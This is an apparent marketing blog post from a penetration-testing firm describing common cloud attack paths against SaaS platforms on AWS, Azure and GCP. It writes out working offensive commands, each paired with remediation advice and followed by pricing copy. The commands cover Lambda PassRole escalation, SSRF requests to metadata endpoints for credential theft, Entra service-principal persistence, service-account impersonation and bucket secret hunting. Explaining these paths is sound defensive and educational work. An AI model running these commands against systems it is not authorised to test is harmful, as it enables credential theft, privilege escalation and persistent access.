Most SaaS breaches do not start with a zero-day. They start with an over-permissioned role, a forgotten service account key, or a metadata endpoint reachable from an application that should never have been able to touch it. When the Redfox Cybersecurity team runs cloud penetration testing against SaaS platforms, the same handful of attack paths surface again and again across AWS, Azure, and Google Cloud Platform.
This post walks through the paths we exploit most often, the tooling we reach for, and the concrete commands behind each move. If you run a multi-tenant SaaS product on any of the big three providers, these are the issues an attacker will find before your next compliance audit does.
Traditional network pentests chase lateral movement across hosts. Cloud pentests chase identity. In a SaaS environment the perimeter is an API gateway and an OAuth flow, and the crown jewels are IAM policies, trust relationships, and secrets sitting in environment variables.
Three structural traits make SaaS cloud estates especially rich targets:
Before touching a single API, we scope tightly against the live environment. Our cloud penetration testing engagements at Redfox Cybersecurity begin with a read-only inventory pass so we understand the blast radius before we ever attempt an escalation.
We start assumed-breach: give us a low-privilege set of credentials, a CI token, or a compromised application role, and we show you how far it goes. The first move is always enumeration. ScoutSuite and Prowler give us a provider-wide posture map, while CloudFox tells us what the current identity can actually reach.
# Multi-cloud posture snapshot
scout aws --profile saas-lowpriv --report-dir ./scout-out
prowler aws -p saas-lowpriv -M csv json-ocsf -f us-east-1
# What can THIS identity actually do?
cloudfox aws --profile saas-lowpriv all-checks
[cta]
CloudFox is the one we lean on hardest early. It parses permissions into exploitable context: which roles the current principal can assume, which secrets it can read, and which compute it can reach. That context shapes everything that follows, and it is the same methodology our consultants apply on every cloud penetration testing engagement we deliver.
AWS remains the dominant SaaS backend, and its IAM model is where the majority of our high-severity findings live.
The classic. A developer role is granted iam:PassRole plus the ability to create or update a Lambda function. That combination lets an attacker pass a far more privileged role into a function they control, then invoke it to inherit those permissions.
We enumerate escalation vectors with Pacu, which maps the privilege-escalation graph for the compromised principal automatically.
# Pacu session against the compromised role
pacu
> import_keys saas-lowpriv
> run iam__enum_permissions
> run iam__privesc_scan
# Confirmed: PassRole + lambda:CreateFunction
aws lambda create-function \
--function-name redfox-escalate \
--runtime python3.12 \
--role arn:aws:iam::111122223333:role/admin-automation-role \
--handler index.handler \
--zip-file fileb://payload.zip \
--profile saas-lowpriv
[cta]
Once the function runs under admin-automation-role, we have the function exfiltrate temporary credentials from its own environment, and the low-privilege foothold becomes an administrative one. The fix is rarely glamorous: scope iam:PassRole to specific role ARNs with a condition, and separate deployment identities from the roles they deploy.
Server-side request forgery is the bridge from the application tier into the cloud control plane. If a SaaS feature fetches a user-supplied URL (webhooks, PDF renderers, image proxies) and the workload still runs IMDSv1, we pivot straight to credentials.
# SSRF payload pointed at the instance metadata service
curl "https://app.saas-target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Grab the role name, then the keys
curl "https://app.saas-target.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/web-app-role"
[cta]
Those returned keys drop straight into a profile, and we are now operating as the web application role from our own machine. The defense is enforcing IMDSv2 with a hop limit of 1 and treating every outbound fetch as hostile input. We regularly chain this SSRF-to-metadata path during SaaS security assessments where the application and cloud teams each assumed the other owned the control.
Public or misconfigured buckets remain the most common data-exposure finding we report. In multi-tenant SaaS, a single predictable naming scheme (tenant-<id>-uploads) combined with a permissive policy means one tenant can enumerate another.
# Enumerate and test bucket access
cloudfox aws --profile saas-lowpriv buckets
aws s3 ls s3://tenant-4471-uploads --profile saas-lowpriv
aws s3api get-bucket-policy --bucket tenant-4471-uploads --profile saas-lowpriv
# Hunt for secrets in anything readable
trufflehog s3 --bucket=tenant-4471-uploads
[cta]
We run Trufflehog across readable buckets because customer uploads routinely contain API keys, backup dumps, and .env files. Block Public Access at the account level, enforce bucket policies that pin access to the owning tenant's role, and never rely on obscurity in object naming.
Azure and Entra ID (formerly Azure AD) shift the battleground toward identity tokens and application consent. The tooling here is ROADtools, AADInternals, and MicroBurst.
A SaaS workload on an Azure VM or App Service usually carries a system-assigned managed identity. If that identity holds a Graph role like Directory.ReadWrite.All or an Azure RBAC role such as Contributor, an attacker who lands on the host can request a token and operate as the service.
# From a foothold on the Azure workload, request a Graph token
export IDENTITY_ENDPOINT # provided by the platform
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com&api-version=2019-08-01" \
-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
# Feed the token into ROADtools for directory enumeration
roadrecon auth --access-token eyJ0eXAiOi...
roadrecon gather
roadrecon dump
[cta]
ROADrecon pulls the full directory into a local database so we can map which users, groups, and applications the managed identity can manipulate. The remediation is strict least privilege on managed identities and removing standing Graph application permissions that are not actively used. These managed identity escalations are among the highest-impact findings in our Azure penetration testing work, because one token often unlocks the entire tenant.
Entra application registrations are a favorite persistence mechanism. If we compromise an identity that can add credentials to an existing service principal, we attach our own secret and inherit every permission that app already holds, with no password reset to tip anyone off.
# Add a new client secret to a service principal we can modify
az ad app credential reset \
--id 00000000-1111-2222-3333-444455556666 \
--append \
--display-name "redfox-persist"
# Authenticate as the application and confirm Graph access
az login --service-principal \
-u 00000000-1111-2222-3333-444455556666 \
-p <new-secret> \
--tenant <tenant-id>
[cta]
Because the app may hold admin-consented Graph scopes, this quietly becomes tenant-wide access that survives user credential rotation. We recommend alerting on Update application Certificates and secrets management events and reviewing every app registration with high-privilege consented scopes. Overprivileged OAuth consent is a pattern we flag in nearly every Entra ID review at Redfox Cybersecurity.
For SaaS providers running hybrid identity, AADInternals exposes federation and sync misconfigurations that enable token forgery or seamless SSO abuse.
Import-Module AADInternals
# Enumerate tenant details and federation settings pre-auth
Get-AADIntTenantID -Domain saas-target.com
Get-AADIntLoginInformation -Domain saas-target.com
Invoke-AADIntReconAsOutsider -DomainName saas-target.com
[cta]
Even unauthenticated, this reconnaissance reveals whether a tenant is federated, which brand of identity provider sits behind it, and where MFA gaps might exist. Hardening here means auditing federation trust and disabling legacy authentication protocols that bypass conditional access.
Google Cloud centers on service accounts, and the single most productive path we exploit is impersonation.
The iam.serviceAccounts.getAccessToken permission lets one identity mint tokens for another service account. When a low-privilege identity can impersonate a high-privilege one, the whole project opens up. We enumerate these chains with enumerate-iam and the gcloud CLI.
# Enumerate what the current credentials can do
python3 enumerate-iam.py \
--access-token $(gcloud auth print-access-token)
# Impersonate a more privileged service account
gcloud iam service-accounts get-iam-policy \
deploy-sa@saas-project.iam.gserviceaccount.com
gcloud --impersonate-service-account=deploy-sa@saas-project.iam.gserviceaccount.com \
projects get-iam-policy saas-project
[cta]
If impersonation succeeds against a service account with roles/editor or higher, we can create resources, read secrets, and pivot at will. The control is removing broad impersonation grants and replacing standing Editor roles with narrowly scoped custom roles.
Just like AWS, GCP exposes a metadata endpoint. An SSRF flaw or a foothold on a Compute Engine instance or GKE pod yields the attached service account's token directly.
# Pull the attached service account token from metadata
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
-H "Metadata-Flavor: Google"
# Use the token against GCP APIs
curl "https://storage.googleapis.com/storage/v1/b?project=saas-project" \
-H "Authorization: Bearer ya29.c.b0Aa..."
[cta]
In GKE specifically, we check whether Workload Identity is enforced, because without it pods inherit the node's powerful service account. GCS buckets then become the target, and we sweep them for public exposure and secrets much as we do on AWS. This metadata-to-storage pivot is a staple of our GCP cloud security testing, and it almost always traces back to a default service account that was never tightened.
Google's allUsers and allAuthenticatedUsers bindings are the equivalent of AWS public buckets, and they slip into SaaS deployments through hasty Terraform.
# Check bucket IAM for public bindings
gsutil iam get gs://saas-target-assets
# Look for allUsers / allAuthenticatedUsers members
gcloud storage buckets get-iam-policy gs://saas-target-assets \
--format="json(bindings)"
[cta]
Any binding naming allUsers on an object-reading role means the data is internet-readable. Enforce uniform bucket-level access, turn on public access prevention at the organization level, and scan continuously rather than trusting a one-time cleanup.
Provider syntax differs, but the root causes repeat. Across AWS, Azure, and GCP, the findings that drive our most severe reports share a short list of causes:
We hunt committed secrets across repositories and pipelines as a standard phase, because a single leaked key often collapses the entire attack chain into one step.
# Repo and filesystem secret sweep across the SaaS codebase
trufflehog git https://github.com/saas-target/platform --only-verified
trufflehog filesystem ./checked-out-repo --only-verified
[cta]
Catching those verified secrets before an attacker does is one of the highest-return activities in any assessment, and it is built into the methodology at Redfox Cybersecurity.
Pricing depends on scope, but we keep our starting figures public so you can plan. Our Cloud package starts at $2,400 and covers one cloud account with a full configuration and identity review, delivered in four business days. For SaaS teams that also want their web application, API, and external perimeter tested under a single report, the Audit Bundle combines Web App, API, External, and Cloud testing over fifteen business days at custom pricing scoped to your environment.
Every engagement includes immediate critical-finding notification, an executive summary, a full technical report, a live readout call, and a free retest once you have remediated. Final pricing always depends on scoping, so the fastest way to get an accurate number is a short scoping conversation with the Redfox Cybersecurity team.
You do not need to wait for a full engagement to close the most common gaps. Four moves remove a large share of what we exploit:
SaaS cloud breaches are identity breaches. The attack paths our team finds most across AWS, Azure, and GCP are not exotic; they are over-permissioned roles, reachable metadata endpoints, abusable trust relationships, and secrets left where they do not belong. The tooling to find them (CloudFox, Pacu, ScoutSuite, Prowler, ROADtools, AADInternals, enumerate-iam, and Trufflehog) is the same tooling an attacker will use against you.
The difference is who gets there first. A scoped cloud penetration test maps these paths, proves their impact against your real environment, and hands you a remediation plan before an adversary writes the same report for free. When you are ready to see how far a low-privilege foothold travels inside your SaaS estate, the team at Redfox Cybersecurity can scope an engagement around your providers, your tenants, and your risk.